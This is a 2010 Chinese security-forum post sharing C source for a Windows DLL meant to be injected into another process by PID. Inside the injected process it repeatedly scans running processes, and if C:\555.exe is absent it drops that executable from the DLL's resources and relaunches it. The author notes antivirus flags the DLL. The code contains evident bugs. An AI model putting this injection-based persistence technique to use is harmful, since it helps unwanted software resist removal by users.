进程保护
本帖最后由 whypro 于 2010-6-1 17:51 编辑标 题: 【原创】进程保护（带源码）
作 者: winnip
时 间: 2010-04-30,15:30:58
链 接: http://bbs.pediy.com/showthread.php?t=111885
来了看雪很久，基本上是学到不少东西。但是自己还是不能写好的程序！！
今天我就把自己写的一个程序发出来，给大家看看！
该程序利用进程注入的方式来保护自己，代码里写了个线程，利用遍历进程的方式来达到反复启动的效果！
我知道这代码拿不出手，但是为了向普通会员跨一步，我也要尽力而为！希望大家多指点，多批评！
下面贴出核心代码:（第一次发原创帖子）
代码:
#include "windows.h"
#include <process.h>
#include <tlhelp32.h>
#include <stdio.h>
#include "Shellapi.h"
#include "resource.h"
#include <conio.h>
BOOLListenProcess();
HINSTANCE g_hDllInst = NULL;
BOOL ReleaseRes(char strFileName,WORD wResID,char strFileType);
void MyTime();
void CallRealese();
void CheckKey( void * dummy );
VOID CALLBACK TimerProc(
HWND hwnd,
UINT uMsg,
UINT_PTR idEvent,
DWORD dwTime
);
WIN32_FIND_DATA FileInfo1;
char rs1[]="C:\\555.exe";
char rs2[]="EXE";
BOOL repeat = TRUE;
bool ControlLisson=false;
int index=0;
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
switch( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
g_hDllInst=(HINSTANCE)hModule;
_beginthread(CheckKey,0, NULL );
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
;
case DLL_PROCESS_DETACH:
;
}
return TRUE;
}
BOOLListenProcess()
{BOOL bRet = FALSE;
HANDLE hProcessSnap = NULL;
HANDLE hProcess =NULL;
BOOL reg=false;
int i =0;
int j=0;
char ll[]="555.exe";
char kk;
PROCESSENTRY32 pe32 = {0};
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize = sizeof(PROCESSENTRY32);
Process32First(hProcessSnap, &pe32);
do
{
strcpy(kk,pe32.szExeFile);
while(kk!='\0') j++;
if(strcmp(kk,ll)!=0)
{
i=i+1;
}else
{
reg=true;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
if(reg==false && Process32Next(hProcessSnap, &pe32)==false)
{
CallRealese();
}
printf("Count process is%d\n",i);
CloseHandle (hProcessSnap);
return (bRet);
}
BOOL ReleaseRes(char * strFileName,WORD wResID,char * strFileType)
{
// 资源大小
DWORDdwWrite=0;
// 创建文件
HANDLEhFile = CreateFile(strFileName, GENERIC_WRITE,FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if ( hFile == INVALID_HANDLE_VALUE )
{
return FALSE;
}
// 查找资源文件中、加载资源到内存、得到资源大小
HRSRChrsc =FindResource(g_hDllInst, MAKEINTRESOURCE(wResID), strFileType);
HGLOBAL hG = LoadResource(g_hDllInst, hrsc);
DWORDdwSize = SizeofResource( g_hDllInst,hrsc);
// 写入文件
WriteFile(hFile,hG,dwSize,&dwWrite,NULL);
CloseHandle( hFile );
return TRUE;
}
void CallRealese()
{
if(FindFirstFile("C:\\555.exe",&FileInfo1)==INVALID_HANDLE_VALUE)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
DWORD dwWaitResult;
ReleaseRes(rs1,(WORD)IDR_EXE2,"EXE");
if( CreateProcess( NULL, // No module name (use command line).
"C:\\555.exe", // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
FALSE, // Set handle inheritance to FALSE.
0, // No creation flags.
NULL, // Use parent's environment block.
NULL, // Use parent's starting directory.
&si, // Pointer to STARTUPINFO structure.
&pi ))
{
// Wait until child process exits.
dwWaitResult=WaitForSingleObject( pi.hProcess, INFINITE );
if(dwWaitResult==WAIT_OBJECT_0){
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
}
index=0; //循环控制现成
}
else
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
DWORD dwWaitResult;
CreateProcess( NULL, // No module name (use command line).
"C:\\555.exe", // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
FALSE, // Set handle inheritance to FALSE.
0, // No creation flags.
NULL, // Use parent's environment block.
NULL, // Use parent's starting directory.
&si, // Pointer to STARTUPINFO structure.
&pi );
// Wait until child process exits.
dwWaitResult=WaitForSingleObject( pi.hProcess, INFINITE );
if(dwWaitResult==WAIT_OBJECT_0){
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
index=0; //循环控制现成
}
};
}
void CheckKey( void *dummy )
{
while(index++<1000)
ListenProcess();
}
555.exe里在资源里的文件！这是一个Win32链接库工程！资源释放文件后启动释放文件，下面附上工程文件，和测试文件！里面1.exe是一个资源里的文件,嗯，还有一个就是加载DLL的文件！可以根据Pid注入到指定进程，这个DLL竟然呗杀毒报毒！希望大家明鉴！
谢谢，强悍
页:
[1]